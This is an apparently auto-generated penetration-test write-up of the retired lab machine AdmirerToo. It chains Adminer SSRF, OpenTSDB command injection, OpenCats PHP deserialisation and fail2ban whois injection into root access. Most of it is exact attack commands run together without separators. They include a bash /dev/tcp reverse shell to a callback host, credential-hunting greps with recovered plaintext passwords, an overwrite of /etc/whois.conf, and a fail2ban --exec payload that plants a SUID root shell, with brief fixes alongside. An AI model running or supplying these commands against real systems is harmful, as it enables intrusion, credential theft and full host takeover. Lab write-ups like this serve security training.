AdmirerToo
Summary
Target <retired-instance-ip> (AdmirerToo) was fully compromised through a four-CVE chain. A virtual-host enumeration exposed Adminer 4.7.8 at db.admirer-gallery.htb, vulnerable to server-side request forgery (CVE-2021-21311): a rogue MySQL listener that returned an HTTP redirect coerced the Adminer server into reaching an internal OpenTSDB service bound exclusively to localhost on port 4242. OpenTSDB accepted unauthenticated HTTP requests and passed gnuplot-style query parameters directly to the OS shell (CVE-2020-35476), yielding a reverse shell as the opentsdb service account. Plaintext credentials recovered from application configuration files authenticated against local user jennifer, whose account had access to an internal OpenCats 0.9.5.2 instance on port 8080. OpenCats deserialised untrusted PHP objects in its resume-import feature (CVE-2021-25294), and the bundled TCPDF gadget chain was weaponised to overwrite /etc/whois.conf, redirecting whois lookups to an user-controlled server. fail2ban's mail-whois action piped raw, unsanitised whois output into sendmail (CVE-2021-32749); repeatedly triggering a ban caused fail2ban to call the poisoned whois server as root, injecting a command that deposited a SUID-root bash copy at /tmp/rootbash — executed for full root control.
Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p 22,80 --min-rate 5000 $TARGETecho '$TARGET admirer-gallery.htb db.admirer-gallery.htb' | sudo tee -a /etc/hostsgobuster vhost -u http://$TARGET -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -o vhosts.txtExact commands 3
git clone https://github.com/Aldo-f/CVE-2021-21311 /tmp/admirer-ssrfpython3 /tmp/admirer-ssrf/adminer_redirect.py --lport 3306 --target 'http://$LOOPBACK:4242/version'curl -s -X POST 'http://$TARGET/adminer.php' --data 'auth[driver]=server&auth[server]=$CALLBACK_HOST&auth[username]=foo&auth[password]=foo&auth[db]='FixUpgrade Adminer and restrict database administration tool accessCritical
Exact commands 4
nc -lvnp 4444RCMD='bash+-i+>%26+/dev/tcp/$CALLBACK_HOST/4444+0>%261'python3 /tmp/admirer-ssrf/adminer_redirect.py --lport 3306 --target "http://$LOOPBACK:4242/q?start=2000/10/26-00:00:00&ignore=1&m=sum:sys.cpu.user%7Bhost%3Dweb01%7D&style=%5C%5D%5B%60${RCMD}%60&png"id; find / -name user.txt -type f -exec sh -c 'echo ===FLAG===; cat "$1"' _ {} \; 2>/dev/nullFixPatch OpenTSDB, require authentication, and isolate it from web-facing servicesCritical
Exact commands 2
find /opt /etc /var /home -name '*.conf' -o -name '*.cfg' -o -name '*.properties' -o -name '*.ini' 2>/dev/null | xargs grep -l 'pass\|pwd\|secret\|credential' 2>/dev/nullgrep -rn 'password\|passwd\|secret' /opt/opentsdb/ /etc/opentsdb/ /var/lib/opentsdb/ 2>/dev/nullFixEliminate plaintext credentials in application configuration filesHigh
Exact commands 2
for p in '1w4nn4b3adm1r3d2!' 'bQ3u7^AxzcB7qAsxE3'; do printf '%s\n' "$p" | su - jennifer -c 'id; cat /home/jennifer/user.txt' 2>&1; doness -tlnpFixEliminate plaintext credentials in application configuration filesHigh
Exact commands 3
ssh -L 8080:localhost:8080 jennifer@$TARGETprintf '$CALLBACK_HOST\t$CALLBACK_HOST\n' > /tmp/whois.payloadpython3 opencats_exploit.py --url http://$LOOPBACK:8080 --user jennifer --pass 'bQ3u7^AxzcB7qAsxE3' --write-path /etc/whois.conf --content-file /tmp/whois.payloadFixPatch OpenCats and prevent PHP deserialisation of untrusted inputCritical
Exact commands 3
printf 'whois stub\n" --exec="cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash"@pwn.local\n' > /tmp/whois.payload && nc -lvnp 43 < /tmp/whois.payloadfor i in $(seq 1 20); do ssh -o StrictHostKeyChecking=no -o BatchMode=yes invalid_user_x@$TARGET 2>/dev/null; doneprintf '%s\n' 'bQ3u7^AxzcB7qAsxE3' | su - jennifer -c 'ls -l /tmp/rootbash; /tmp/rootbash -p -c "id; cat /root/root.txt"'FixUpgrade fail2ban and replace the mail-whois action with one that does not execute external commands as rootCritical
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Findings
Exposed services
| 22/tcp | ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.38 ((Debian)) |